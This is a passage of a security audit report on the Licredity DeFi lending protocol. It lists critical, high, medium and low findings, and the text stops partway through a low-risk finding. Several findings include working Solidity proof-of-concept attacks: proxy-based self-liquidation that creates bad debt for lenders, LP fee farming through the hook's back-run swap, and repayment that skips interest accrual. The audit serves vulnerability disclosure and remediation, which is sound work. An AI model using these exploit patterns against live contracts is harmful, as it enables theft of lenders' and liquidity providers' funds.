Licredity Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Immeas

ChainDefenders (0x539 & PeterSR)

Assisting Auditors

Alexzoid (Formal Verification)

September 2, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Licredity is a lending protocol that utilizes a Uniswap V4 hook to enable trading on the interest rate. Each Licredity contract is a hook attached to a Uniswap pool consisting of a base token and a debt (lending) token. The debt token is backed by collateral held in the Licredity (hook) contract. Interest accrued on loans is donated to liquidity providers that are in range of the spot price at the moment of accrual. Adding collateral and minting debt are permissionless, as is liquidating (seizing) underwater positions. Collateral can be ERC-20 tokens and/or ERC-721 Uniswap V3 or V4 LP positions.

The protocol also uses an oracle to value collateral. This oracle combines the pool's debt/base price (smoothed via EMA) with Chainlink price feeds for the collateral assets.

4.1 Actors and Roles

- **1. Actors:**
  - **Licredity team:** Deploys the hook and configures contracts via the governor wallet.
  - **Liquidity providers:** Provide liquidity to the pool and earn donated interest in addition to trading fees.
  - **Borrowers:** Borrow the debt token against posted collateral.
  - **Traders:** Trade on the interest price in the pool.
- **2. Roles:**
  - **Governor:** Configures parameters such as the oracle address, maximum debt limit, minimum margin, minimum time between adding/removing liquidity, and protocol fee; can appoint new governors. Also configures supported collateral tokens and their margin requirements in the oracle.

4.2 Key Components

- **Licredity:** Main hook and lending contract. Manages per-position collateral (ERC-20 and Uniswap v3/v4 LP NFTs), mints/burns the debt token, and accrues interest that is periodically donated to in-range LPs. All state-changing flows run inside an `unlock` context that first pulls interest and then enforces every touched position is healthy before the call ends. The contract also enforces a hard floor at parity: any swap that would finish below 1 debt/base reverts. The `exchange` function is a bounded 1:1 desk: base-debt mints debt and increases an internal `exchangeableAmount`, and debt-base burns debt and pays out base 1:1 up to that reserve. Liquidations (`seize`) transfer position ownership and apply a 2× deficit top-up that is socialized across debt holders.
- **Oracle:** Returns a position's value denominated in the debt token. It blends the pool's debt/base spot price with an EMA of the previous update (typically the prior block) and values each collateral using Chainlink feeds. The EMA uses an exponential decay with a 600-second time constant, and the spot input is clamped per update to ±1.5625% relative to the previous price to limit manipulation. While this hardens the oracle, it can slow convergence to the true market price. We recommend monitoring the spread between spot and EMA and alerting on sustained deviations for operational stability.

4.3 Centralization risk

Core configuration parameters (e.g., the oracle address that determines each position's value) are controlled by the governor wallet. If this wallet is compromised, position health and protocol stability are at risk. We recommend handling this wallet with great care and following operational security best practices (e.g., multisig, timelocks, and monitoring).

5 Audit Scope

core:

```
src/types/Position.sol
src/types/InterestRate.sol
src/types/NonFungible.sol
src/types/Fungible.sol
src/types/FungibleState.sol
src/RiskConfigs.sol
src/libraries/PipsMath.sol
src/libraries/Locker.sol
src/libraries/ChainInfo.sol
src/libraries/FullMath.sol
src/Licredity.sol
src/BaseERC20.sol
src/Extsload.sol
src/BaseHooks.sol
```

oracle:

```
src/ChainlinkOracleConfigs.sol
src/libraries/ChainlinkFeedLibrary.sol
src/libraries/FixedPointMath.sol
src/ChainlinkOracle.sol
src/modules/uniswap/v4/types
src/modules/uniswap/v4/types/PositionInfo.sol
src/modules/uniswap/v4/UniswapV4Module.sol
src/modules/uniswap/v4/interfaces
src/modules/uniswap/v4/interfaces/IPositionManager.sol
src/modules/uniswap/v3/UniswapV3Module.sol
src/modules/uniswap/v3/libraries
src/modules/uniswap/v3/libraries/PoolAddress.sol
src/modules/uniswap/v3/interfaces
src/modules/uniswap/v3/interfaces/IUniswapV3Pool.sol
```

src/modules/uniswap/v3/interfaces/INonfungiblePositionManager.sol

6 Executive Summary

Over the course of 13 days, the Cyfrin team conducted an audit on the Licredity smart contracts provided by Licredity. In this period, a total of 22 issues were found.

During the audit 2 critical issues were discovered, 2 high, 1 medium, and several low and informational items. The critical findings allow a borrower to liquidate their own position by routing through another contract, and reveal a bookkeeping error that can desync a position's recorded assets, both of which threaten lender funds and core accounting.

The high-severity items show that the price-support "back-run" can be farmed by a dominant liquidity provider to skim fees, and that one repayment path can skip interest accrual, reducing returns to lenders. The medium issue centers on oracle safety: stale Chainlink data can be accepted without checks.

The low and informational issues are mostly hardening and UX: safer oracle initialization, safer deployment/key handling, clearing transient state before external calls, clearer names and input checks, stricter governance changes, basic parameter and zero-address guards, and a more defensive encoding for NFTs. Collectively these do not pose immediate danger but improve robustness, operator safety, and integrator experience.

During the audit, two issues were identified by the Licredity team which also did fixes for the same:

- Commit `b85ac25` adds noDelegateCall modifier to some core functions, similar to Uniswap v3 / v4, that enforces license by preventing delegate calls
- Commit `4a4decd` changes price-to-interest sensitivity from a hardcoded value to an initialization parameter.

After the audit, some small changes to the initialization of the oracle was also done in commit `c387983`.

All of these were reviewed and determined to be safe.

During the audit a formal verification suite was also developed by alexzoid, this was handed over to the protocol in PR#79, together with a formal verification report.

Post Audit Recommendations

Due to the significant number of Critical & High severity findings it is statistically likely that more serious vulnerabilities remain which could not be discovered during the 13-day audit window. Hence it is recommended that prior to deploying significant capital on-chain in a production environment, another audit be conducted during which no Critical or High severity findings should be found.

Summary

Project Name	Licredity
Repository	licredity-v1-core
Commit	e8ae10a7d9f2...
Fix Commit	aff3771e437b...
Repository 2	licredity-v1-oracle
Commit	1ec4b09826b4...
Fix Commit	c387983ee0a3...
Audit Timeline	Aug 11th - Aug 27th, 2025
Methods	Manual Review, Formal Verification

Issues Found

Critical Risk	2
High Risk	2
Medium Risk	1
Low Risk	4
Informational	13
Gas Optimizations	0
Total Issues	22

Summary of Findings

[C-1] Proxy-Based self-liquidation creates bad debt for lenders	Resolved
[C-2] Swap-and-pop without index fix-up corrupts `Position`'s fungible array	Resolved
[H-1] Self-triggered `Licredity::_afterSwap` back-run enables LP fee farming	Resolved
[H-2] `Licredity::decreaseDebtShare` bypasses interest accrual	Resolved
[M-1] Missing Chainlink oracle staleness check	Resolved
[L-1] Initialization to zero price can cause permanent stuck state due to clamping	Resolved
[L-2] Deployment script requires unencrypted private key	Acknowledged
[L-3] Reentrancy via `stagedFungible` not cleared before external call	Resolved
[L-4] Erroneous packing in `Licredity::_calculateLiquidityKey`	Resolved
[I-01] Wrong short-circuit logic in Chainlink oracle update	Resolved
[I-02] Missing array length check	Resolved
[I-03] Missing valid bounds check in clamp	Resolved
[I-04] Missing zero address check in Uniswap modules initialization	Resolved

[I-05] Missing zero address check for `recipient`	Resolved
[I-06] Missing minimum deposit enforcement	Acknowledged
[I-07] Consider using a 2-step process to change `governor` in `ChainlinkOracle`	Resolved
[I-08] Missing zero delta check in `increaseDebtShare` and `decreaseDebtShare`	Acknowledged
[I-09] EIP-20 transfer functions accept zero address causing unintended token burns	Resolved
[I-10] Missing governor setter boundaries	Resolved
[I-11] Confusing timestamp naming in `ChainlinkOracle`	Acknowledged
[I-12] Dirty bits in `NonFungible` mid-field can break comparisons	Resolved
[I-13] Fungible array can contain zero-balance entries	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Proxy-Based self-liquidation creates bad debt for lenders

Description: When calling `Licredity::seize` to liquidate an unhealthy position, the contract checks that the position owner is not the caller:

```
// prevents owner from purposely causing a position to be underwater then profit from seizing it
// side effect is that positions cannot be seized by owner contract, such as non-fungible position
↪  manager, which is acceptable
if (position.owner == msg.sender) {
    assembly ("memory-safe") {
        mstore(0x00, 0x7c474390) // 'CannotSeizeOwnPosition()'
        revert(0x1c, 0x04)
    }
}
```

This check can be bypassed by calling `seize` through a separate contract. The position owner orchestrates the liquidation via a helper ("proxy") contract so that `msg.sender` in `Licredity::seize` is the proxy, not the owner. Using `Licredity::unlock` and its callback, the attacker can open and under-collateralize a position and immediately self-liquidate it in the same transaction, socializing the loss to lenders.

Impact: The owner can liquidate their own under-collateralized position and capture the liquidator bonus, while pushing the shortfall onto lenders/the protocol. This can be performed atomically, repeated to farm incentives, and scaled up to available liquidity and configuration limits. No price movement is required, making it a practical drain of protocol value.

Proof of Concept: Add the following test to `LicreditySeize.t.sol`. It shows how an attacker can deploy an `AttackerRouter` and `AttackerSeizer` to open an unhealthy position and immediately self-liquidate it in the same `unlock` call:

```
function test_seize_ownPosition_using_external_contract() public {
    /// open large position for existing lenders
    uint256 positionId = licredityRouter.open();
    token.mint(address(this), 10 ether);
    token.approve(address(licredityRouter), 10 ether);

    licredityRouter.depositFungible(positionId, Fungible.wrap(address(token)), 10 ether);

    uint128 borrowAmount = 9 ether;
    (uint256 totalShares, uint256 totalAssets) = licredity.getTotalDebt();
    uint256 delta = borrowAmount.toShares(totalAssets, totalShares);

    licredityRouterHelper.addDebt(positionId, delta, address(1));

    // Attacker deploys router and helper contract to seize the position
    AttackerSeizer seizer = new AttackerSeizer(licredity);
    AttackerRouter attackerRouter = new AttackerRouter(licredity, token, seizer);

    // attack commences
    attackerRouter.depositFungible(0.5 ether);
}
```

And add these two contracts used:

```
contract AttackerRouter {
    using StateLibrary for Licredity;
    using ShareMath for uint128;

    Licredity public licredity;
    BaseERC20Mock public token;
```

```
    AttackerSeizer public seizer;

    constructor(Licredity _licredity, BaseERC20Mock _token, AttackerSeizer _seizer) {
        licredity = _licredity;
        token = _token;
        seizer = _seizer;
    }

    function depositFungible(uint256 amount) external {
        // 1. add some collateral to the position
        //    so that it can become healthy after seize
        uint256 positionId = licredity.open();
        licredity.stageFungible(Fungible.wrap(address(token)));
        token.mint(address(licredity), amount);
        licredity.depositFungible(positionId);

        // 2. call unlock to take on debt and seize
        licredity.unlock(abi.encode(positionId));
        // 5. as `unlock` doesn't revert, the position has become healthy
    }

    function unlockCallback(bytes calldata data) public returns (bytes memory) {
        uint256 positionId = abi.decode(data, (uint256));

        // 3. increase debt share to make the position unhealthy
        uint128 borrowAmount = 1 ether;
        (uint256 totalShares, uint256 totalAssets) = licredity.getTotalDebt();
        uint256 delta = borrowAmount.toShares(totalAssets, totalShares);
        licredity.increaseDebtShare(positionId, delta, address(this));

        // 4. use the separate seizer contract to seize the position
        //    making it healthy again.
        seizer.seize(positionId);

        return new bytes(0);
    }
}

contract AttackerSeizer {
    Licredity public licredity;

    constructor(Licredity _licredity) {
        licredity = _licredity;
    }

    function seize(uint256 positionId) external {
        licredity.seize(positionId, msg.sender);
    }
}
```

Recommended Mitigation: In addition to enforcing `position.owner != msg.sender`, constrain `seize` so it must be the first operation in an `unlock` execution. As the `Locker` library already tracks if the position has been touched before, it can expose this to `seize`. And if the position has been touched, revert. This mirrors the approach used by Euler's EVC/EVK combo to block atomic "create/borrow/self-liquidate" flows (code).

Licredity: Fixed in PR#57, commit `e9490bb`

Cyfrin: Verified. `seize` now checks that there are no prior registrations of the same position in `Locker`.

7.1.2 Swap-and-pop without index fix-up corrupts `Position`'s fungible array

Description: `Position` tracks fungible collateral in **two places** that must stay in sync:

```
struct Position {
    address owner;
    uint256 debtShare;
    Fungible[] fungibles;                          // compact list of held assets
    NonFungible[] nonFungibles;
    mapping(Fungible => FungibleState) fungibleStates; // per-asset {index,balance}
}
```

Invariant: for every asset `a` in `fungibles[k]`, we must have `fungibleStates[a].index == k+1` (the library uses 1-based indexes; `index == 0` means "not present").

When an asset's balance goes to zero, `Position::removeFungible` tries to "swap-and-pop": move the last array element into the removed slot and shrink the array. The code does the array move, but forgets to update the moved element's cached index in `fungibleStates`:

```
// remove a fungible from the fungibles array
assembly ("memory-safe") {
    let slot := add(self.slot, FUNGIBLES_OFFSET)
    let len := sload(slot)
    mstore(0x00, slot)
    let dataSlot := keccak256(0x00, 0x20)

    if iszero(eq(index, len)) {
        // overwrite removed slot with the last element (swap)
        sstore(add(dataSlot, sub(index, 1)), sload(add(dataSlot, sub(len, 1))))
    }

    // pop
    sstore(add(dataSlot, sub(len, 1)), 0)
    sstore(slot, sub(len, 1))
}
```

What's missing is the index fix-up for the element that got moved down from the tail. Without it, `fungibleStates[moved].index` still points to the old tail index.

Why this corrupts state:

1. Start with `fungibles = [A, B, C]` and

   ```
   index(A)=1, index(B)=2, index(C)=3
   ```

2. Remove `A` (index=1). Code copies last element `C` into slot 0 and pops the array:

   ```
   fungibles = [C, B], length=2
   ```

   But `index(C)` is still 3 (stale).

3. Later, remove `C`. The function trusts the stale `index(C)=3`:

   - It tries to "swap-and-pop" using `index=3` and `len=2`, which makes it copy `B` into slot `index-1 = 2` (past the new end), then pops slot 1.
   - Net effect: `B` silently vanishes from the active array (`length` becomes 1 and `fungibles[0]` may still be `C`), while `fungibleStates[B]` still shows a positive balance.

This desynchronizes the array and mapping, leading to:

- "Remove X, but actually lose Y" behavior (wrong element disappears).
- "Ghost" balances left in the mapping not represented in the array (appraisal that iterates `fungibles` under-counts value).
- Future removals/operations using stale indexes read/write the wrong slots.

Impact

- Inconsistent state between `fungibles[]` and `fungibleStates` (stale or duplicate indexes).
- Removing token `X` can unexpectedly remove token `Y` from the array.
- Enumeration-based logic (e.g., valuation/appraisal that iterates `fungibles[]`) may under- or over-count positions, leading to incorrect health/accounting decisions.

Proof of Concept: Place the following test and helper functions in `LicredityUnlockPosition.t.sol`:

```
function test_removeFungible_missingIndexFixup() public {
    BaseERC20Mock token = _newAsset(18);
    Fungible fungible = Fungible.wrap(address(token));
    // --- arrange: two fungibles in the same position ---
    token.mint(address(this), 1 ether);
    token.approve(address(licredityRouter), 1 ether);

    uint256 positionId = licredityRouter.open();

    // deposit native (will be fungibles[0])
    licredityRouter.depositFungible{value: 0.5 ether}(positionId, Fungible.wrap(ChainInfo.NATIVE), 0.5
    ↪  ether);

    // deposit ERC20 (will be fungibles[1])
    licredityRouter.depositFungible(positionId, fungible, 1 ether);

    // --- discover storage slots we need (once per test is fine) ---
    // We'll find:
    //  - the base slot of positions[positionId] (self.slot)
    //  - the fungibleStates mapping base slot: self.slot + FUNGIBLE_STATES_OFFSET
    //  - the fungibles array slot: self.slot + FUNGIBLES_OFFSET
    (
        ,
        uint256 fungibleStatesBase,
        uint256 fungiblesArraySlot
    ) = _locatePositionFungibleStateAndArraySlots(positionId, address(licredity), address(token));

    // Sanity: array length is 2
    uint256 lenBefore = uint256(vm.load(address(licredity), bytes32(fungiblesArraySlot)));
    assertEq(lenBefore, 2, "pre: fungibles length should be 2");

    // Pre-read the packed FungibleState word for the ERC20 (this includes index + balance)
    bytes32 stateBefore = _loadFungibleState(
        address(licredity),
        fungibleStatesBase,
        address(token)
    );

    // Also read the array's first element (should be native) and second (should be ERC20)
    bytes32 dataSlot = keccak256(abi.encodePacked(bytes32(fungiblesArraySlot)));
    bytes32 arr0Before = vm.load(address(licredity), dataSlot);                  // [0]
    bytes32 arr1Before = vm.load(address(licredity), bytes32(uint256(dataSlot) + 1)); // [1]
    assertEq(address(uint160(uint256(arr0Before))), address(0), "pre: [0] must be native");
    assertEq(address(uint160(uint256(arr1Before))), address(token), "pre: [1] must be ERC20");

    // --- act: remove the non-last fungible (native) fully -> triggers swap-and-pop ---
    licredityRouterHelper.withdrawFungible(positionId, address(this), ChainInfo.NATIVE, 0.5 ether);

    // --- assert: array element moved down, BUT ERC20's state word did not change (index not fixed up)
    ↪  ---

    // array length dropped to 1
    uint256 lenAfter = uint256(vm.load(address(licredity), bytes32(fungiblesArraySlot)));
```

```
    assertEq(lenAfter, 1, "post: fungibles length should be 1");

    // array[0] should now hold the ERC20 address (moved from index 1 -> 0)
    bytes32 arr0After = vm.load(address(licredity), dataSlot);
    assertEq(address(uint160(uint256(arr0After))), address(token), "post: [0] must be ERC20");

    // read ERC20's packed state again
    bytes32 stateAfter = _loadFungibleState(
        address(licredity),
        fungibleStatesBase,
        address(token)
    );

    // Because we removed NATIVE entirely and did not touch ERC20 balance,
    // a correct implementation would ONLY change the ERC20's *index* inside the word.
    // Since the code does not fix up the index, the word stays identical.
    assertEq(stateAfter, stateBefore, "post: ERC20 FungibleState word unchanged (index not fixed up)");
}

// Probe storage to find (self.slot, self.slot + FUNGIBLE_STATES_OFFSET, self.slot + FUNGIBLES_OFFSET).
// Heuristic: after two deposits, the fungibles array length is 2 and
// the fungibleStates mapping for both keys (native, token) are non-zero.
function _locatePositionFungibleStateAndArraySlots(
    uint256 positionId,
    address target,
    address erc20
)
    internal
    view
    returns (uint256 selfSlot, uint256 fungibleStatesBase, uint256 fungiblesArraySlot)
{
    // positions is a mapping at some slot S. The Position struct lives at keccak256(positionId, S).
    // We search S[0..160], and offsets off[0..24] for the two sub-structures.
    for (uint256 S = 0; S <= 160; S++) {
        bytes32 self = keccak256(abi.encode(positionId, S));

        // try to locate the mapping base (self + offMap) by checking both keys are non-zero
        for (uint256 offMap = 0; offMap <= 24; offMap++) {
            uint256 candMapBase = uint256(self) + offMap;

            bytes32 nativeState = _loadFungibleState(target, candMapBase, address(0));
            bytes32 erc20State  = _loadFungibleState(target, candMapBase, erc20);

            if (nativeState != bytes32(0) && erc20State != bytes32(0)) {
                // now also find the array slot (self + offArr) where length == 2
                for (uint256 offArr = 0; offArr <= 24; offArr++) {
                    uint256 candArrSlot = uint256(self) + offArr;
                    uint256 len = uint256(vm.load(target, bytes32(candArrSlot)));
                    if (len == 2) {
                        // double-check array contents look like [native, erc20]
                        bytes32 dataSlot = keccak256(abi.encodePacked(bytes32(candArrSlot)));
                        address a0 = address(uint160(uint256(vm.load(target, dataSlot))));
                        address a1 = address(
                            uint160(uint256(vm.load(target, bytes32(uint256(dataSlot) + 1))))
                        );
                        if (a0 == address(0) && a1 == erc20) {
                            return (uint256(self), candMapBase, candArrSlot);
                        }
                    }
                }
            }
        }
    }
```

```
    revert("could not locate position/fungible storage layout");
}

function _loadFungibleState(address target, uint256 mapBaseSlot, address asset)
    internal
    view
    returns (bytes32)
{
    // storage key for mapping: keccak256(abi.encode(key, slot))
    bytes32 key = keccak256(
        abi.encodePacked(bytes32(uint256(uint160(asset))), bytes32(mapBaseSlot))
    );
    return vm.load(target, key);
}

receive() external payable {}
```

Recommended Mitigation: Update `index` to point at the moved entry:

```
// (conceptually)
Fungible moved = fungibles[len-1];
fungibles[index-1] = moved;
fungibles.pop();

// fix cached index for the moved element
fungibleStates[moved].index = index;  // 1-based
```

Licredity: Fixed in PR#64, commit `ad095fc`

Cyfrin: Verified. Index is now updated.

7.2 High Risk

7.2.1 Self-triggered `Licredity::_afterSwap` back-run enables LP fee farming

Description: When price hits or goes below 1, `Licredity::_afterSwap` auto back-runs a swap to push price up:

```
if (sqrtPriceX96 <= ONE_SQRT_PRICE_X96) {
    // back run swap to revert the effect of the current swap, using exactOut to account for fees
    IPoolManager.SwapParams memory params =
        IPoolManager.SwapParams(false, -balanceDelta.amount0(), MAX_SQRT_PRICE_X96 - 1);
    balanceDelta = poolManager.swap(poolKey, params, "");
```

That back-run pays swap fees to LPs. An attacker who provides most of the liquidity around 1 can:

1. push price slightly below 1 with a swap and earn back their swap fees as LP fees,
2. trigger the hook's back-run and earn LP fees again,
3. redeem via `Licredity::exchangeFungible` at ~1:1 (using `baseAmountAvailable` / `debtAmountOutstanding`), so they recover their principal while keeping both fee legs. This can be looped by the same account.

Impact: A dominant LP can repeatedly mine fees with low price risk, draining value from traders and the system's stabilization logic. Over time this becomes a steady, repeatable extraction (economic drain) whenever the attacker can steer price just under 1.

Proof of Concept: Add the following test to `LicredityHook.t.sol`:

```
function test_abuse_backswap_fees() public {
    address attacker = makeAddr("attacker");

    // fund attacker with ETH and mint some debt for LP positions
    vm.deal(attacker, 1000 ether);
    getDebtERC20(attacker, 50 ether);

    vm.startPrank(attacker);
    IERC20(address(licredity)).approve(address(uniswapV4Router), type(uint256).max);

    // 1) Attacker adds dominant narrow liquidity around parity on BOTH sides:
    //    below 1  -> captures fees while price dips (push leg + back-run leg)
    //    above 1  -> recoups the tiny portion of fees paid just above 1 when crossing
    int256 L_below = 40_000 ether;
    int256 L_above = 10_000 ether;

    // Record attacker balances before attack
    uint256 baseBefore = attacker.balance;
    uint256 debtBefore = IERC20(address(licredity)).balanceOf(attacker);

    // below 1: [-2, 0]
    uniswapV4RouterHelper.addLiquidity(
        attacker,
        poolKey,
        IPoolManager.ModifyLiquidityParams({
            tickLower: -2,
            tickUpper:  0,
            liquidityDelta: L_below,
            salt: ""
        })
    );

    // above 1: [0, +2]
    payable(address(uniswapV4Router)).transfer(1 ether);
    uniswapV4RouterHelper.addLiquidity(
        attacker,
        poolKey,
        IPoolManager.ModifyLiquidityParams({
```

```
        tickLower: 0,
        tickUpper: 2,
        liquidityDelta: L_above,
        salt: ""
    })
);
vm.stopPrank();

// 2) Ensure starting price is a hair > 1 so we cross down through 1 on the push.
//    Do a tiny oneForZero (debt -> base) to nudge price up.
uniswapV4RouterHelper.oneForZeroSwap(
    attacker,
    poolKey,
    IPoolManager.SwapParams({
        zeroForOne: false,                          // debt -> base
        amountSpecified: int256(0.001 ether),       // exact-in (tiny)
        sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(3)
    })
);
{
    (uint160 sqrtP0,,,) = poolManager.getSlot0(poolKey.toId());
    assertGt(sqrtP0, ONE_SQRT_PRICE_X96, "price should start slightly > 1");
}

vm.startPrank(attacker);
// 3) The attacker does the push: base -> debt (zeroForOne), exact-out debt,
//    with a limit just below 1 so we do cross into price<=1 and trigger the hook's back-run.
int256 debtOut = 2 ether;
for(uint256 i = 0 ; i < 1 ; i++) {
    payable(address(uniswapV4Router)).transfer(uint256(debtOut));
    uniswapV4RouterHelper.zeroForOneSwap(
        attacker,
        poolKey,
        IPoolManager.SwapParams({
            zeroForOne: true,                               // base -> debt
            amountSpecified: -debtOut,                      // exact-out debt
            sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(-3)
        })
    );
}
// hook's back-run (debt -> base, exact-out base) runs inside afterSwap

// Price should be restored to >= 1 by the hook's back-run
{
    (uint160 sqrtP1,,,) = poolManager.getSlot0(poolKey.toId());
    assertGe(sqrtP1, ONE_SQRT_PRICE_X96, "post back-run price must be >= 1");
}

// 4) Pull the fees: remove BOTH attacker positions to collect base + debt fees.
uniswapV4RouterHelper.removeLiquidity(
    attacker,
    poolKey,
    IPoolManager.ModifyLiquidityParams({
        tickLower: -2,
        tickUpper:  0,
        liquidityDelta: -L_below,
        salt: ""
    })
);
uniswapV4RouterHelper.removeLiquidity(
    attacker,
    poolKey,
    IPoolManager.ModifyLiquidityParams({
```

```
            tickLower: 0,
            tickUpper: 2,
            liquidityDelta: -L_above,
            salt: ""
        })
    );
    vm.stopPrank();

    // Attacker balances AFTER
    uint256 baseAfter = attacker.balance;
    uint256 debtAfter = IERC20(address(licredity)).balanceOf(attacker);

    // 5) Value both legs ~at parity (1 debt ~= 1 base). Because the price is ~1,
    //    this notional comparison is a good proxy for profit from the fee mining.
    uint256 notionalBefore = baseBefore + debtBefore;
    uint256 notionalAfter  = baseAfter  + debtAfter;

    // Expect positive drift from:
    //  - near-100% recoup of taker fees (attacker dominates both sides around 1)
    //  - plus back-run fees (paid in debt) captured below 1
    assertGt(notionalAfter, notionalBefore, "drain should be profitable when attacker dominates both
    ↪  sides");
    console.log("Profit from fee mining drain: %s", notionalAfter - notionalBefore);
}
```

Recommended Mitigation: Consider one of the following options:

1. Remove the back-run and revert swaps that would end below 1, or reject `sqrtPriceLimitX96` below 1.
2. Only allow whitelisted addresses to provide liquidity in ticks below 1.
3. Use dynamic fees in the hook and don't accrue fees for the back-run (i.e `sender == address(this)`).

Licredity: Fixed in PR#61 and PR#78, commits `ddee552`, `f10c969`, `d8522f8`, `039eb4a`, `f818f33`, and `0baca20`

Cyfrin: Verified. Swaps with a price ending up below 1 now reverts. `exchangeFungible` also changed to always provide a 1:1 exchange rate, as long as there is an exchangeable amount in the contract.

7.2.2 `Licredity::decreaseDebtShare` bypasses interest accrual

Description: A borrower can call `Licredity::decreaseDebtShare` to repay their loan. Because this call can only reduce debt, it's treated as "safe" and allowed outside the `Licredity::unlock` flow. However, interest accrues only during `unlock`, `swap`, and liquidity add/remove operations. Therefore calling `decreaseDebtShare` directly therefore uses the last `totalDebtBalance/totalDebtShare` without first accruing interest, so the repayment is computed from a stale state.

Impact: Borrowers can avoid paying accrued interest when repaying via direct calls, reducing yield for LPs and protocol revenue. While interest will still accrue when other participants trigger the hook (e.g., borrows/trades/LP actions), repayments executed before such events effectively skip the borrower's interest share. Even if unintentional and harder to time in an active market, this lowers realized interest, distorts accounting, and reduces net APY.

Proof of Concept: Add the following test to `LicredityUnlockPosition.t.sol`:

```
function test_decraseDebtBalance_doesntAccrueInterest() public {
    uint256 positionId = licredityRouter.open();
    licredityRouter.depositFungible{value: 10e8}(positionId, Fungible.wrap(ChainInfo.NATIVE), 10e8);

    uint256 delta = 1e8 * 1e6;

    licredityRouterHelper.addDebt(positionId, delta, address(this));
    uint256 amountBorrowed = licredity.balanceOf(address(this));

    // should cause interest accrual
```

```
    oracleMock.setQuotePrice(2 ether);
    vm.warp(block.timestamp + 180 days);

    // decrease debt share call is done directly to licredity
    // avoiding the `unlock` context that accrues interest
    uint256 amountRepaid = licredity.decreaseDebtShare(positionId, delta, false);

    // no interest has been accrued
    assertEq(amountRepaid, amountBorrowed);
}
```

Recommended Mitigation: Accrue interest at the start of `decreaseDebtShare` (pull accrual) or require `decreaseDebtShare` to be callable only within the `unlock` context.

Licredity: Fixed in PR#59, commits `8ca2a35`, and `81e54c0`

Cyfrin: Verified. Interest is now accrued in `decreaseDebtShare`.

7.3 Medium Risk

7.3.1 Missing Chainlink oracle staleness check

Description: The `getPrice` function in `ChainlinkFeedLibrary` fetches the latest price from a Chainlink feed using `latestRoundData`, but does not check if the returned data is stale. Chainlink feeds can become stale if no new price updates have occurred for a significant period, which may result in outdated or inaccurate price information being used by the protocol. The Chainlink interface provides `updatedAt` and `answeredInRound` fields specifically to help consumers detect stale or incomplete data, but these are ignored in the current implementation.

Impact: The protocol may use outdated or stale price data, leading to incorrect valuations, margin calculations, or other critical logic. This can be exploited by attackers if they can manipulate or anticipate periods of feed staleness. Users and integrators may be exposed to increased risk due to reliance on old price information.

Proof of Concept: Add a `ChainlinkFeedLibraryTest.t.sol` file in the `./oracle/test/` folder:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {ChainlinkFeedLibrary} from "./../src/libraries/ChainlinkFeedLibrary.sol";
import {AggregatorV3Interface} from "./../src/interfaces/external/AggregatorV3Interface.sol";

contract ChainlinkFeedLibraryTest is Test {
    address internal constant MOCK_FEED = address(0xFEED);

    function test_getPrice_acceptsStaleData() public {
        vm.warp(block.timestamp + 10 days); // Set the block timestamp to 10 day in the future

        // Mock the Chainlink feed to return a price but with stale timestamp (e.g., updated 1 day ago)
        // In a secure implementation, this should revert due to staleness, but here it does not
        vm.mockCall(
            MOCK_FEED,
            abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
            abi.encode(
                uint80(1),                  // roundId
                int256(100e8),              // answer
                uint256(0),                 // startedAt (unused)
                block.timestamp - 1 days,   // updatedAt (stale)
                uint80(1)                   // answeredInRound
            )
        );

        // Call getPrice; it should return the stale price without reverting
        uint256 price = ChainlinkFeedLibrary.getPrice(AggregatorV3Interface(MOCK_FEED));

        // Assert that the stale price is returned
        assertEq(price, 100e8);
    }
}
```

Recommended Mitigation: Implement a staleness check in the `getPrice` function. For example, require that `updatedAt` is within an acceptable time window (e.g., not older than a configurable threshold) and that `answeredInRound >= roundId`. If the data is stale, revert or return an error. Example check:

```
(uint80 roundId, int256 answer,, uint256 updatedAt, uint80 answeredInRound) = feed.latestRoundData();
require(updatedAt >= block.timestamp - MAX_STALENESS, "Chainlink: stale price");
require(answeredInRound >= roundId, "Chainlink: incomplete round");
```

Where `MAX_STALENESS` is a reasonable time threshold set by the protocol.

Licredity: Fixed in PR#18, commit `5a615c0`

Cyfrin: Verified. A field `maxStaleness` added to `ChainlinkOracleConfig` which `governor` can update.

7.4 Low Risk

7.4.1 Initialization to zero price can cause permanent stuck state due to clamping

Description: In `ChainlinkOracle` in the constructor, the contract initializes `currentPriceX96`, `lastPriceX96`, and `emaPrice` using the current `sqrtPriceX96` from the Uniswap V4 pool. If the pool is uninitialized (`sqrtPriceX96 == 0`), all these price variables are set to zero. In this state, the `update` function will always clamp any new price to the range `lastPriceX96 ± (lastPriceX96 >> 6)`, which evaluates to `0 ± 0 = 0`. As a result, the oracle is stuck at zero and cannot update to a non-zero price, even if the pool becomes initialized later.

Impact: The oracle will be permanently stuck at a zero price if deployed before the pool is initialized. This prevents the oracle from ever reflecting the true market price, breaking all dependent pricing and margin logic. Users and protocols relying on the oracle will receive invalid (zero) price data, potentially causing loss of functionality or incorrect behavior.

Recommended Mitigation: Add a check in the constructor (and/or in the `update` function) to ensure that initialization only occurs if `sqrtPriceX96 > 0`. If the pool is uninitialized, revert deployment or defer initialization until a valid price is available. Alternatively, allow the oracle to update from zero to a non-zero price once the pool is initialized, bypassing the clamp logic when `lastPriceX96 == 0`.

Licredity: Fixed in PR#16, commit `6f5fdd7`

Cyfrin: Verified. `sqrtPrice` now verified to not be `0` in the constructor.

7.4.2 Deployment script requires unencrypted private key

Description: The deployment script `deploy.sh` requires a private key to be stored in clear text inside the `.env` file:

```
# Load environment variables
source .env

...

if [ -z "$PRIVATE_KEY" ]; then
    echo "Error: PRIVATE_KEY not set in .env file"
    exit 1
fi
```

Storing private keys in plain text represents an operational security risk, as it increases the chance of accidental exposure through version control, misconfigured backups, or compromised developer machines.

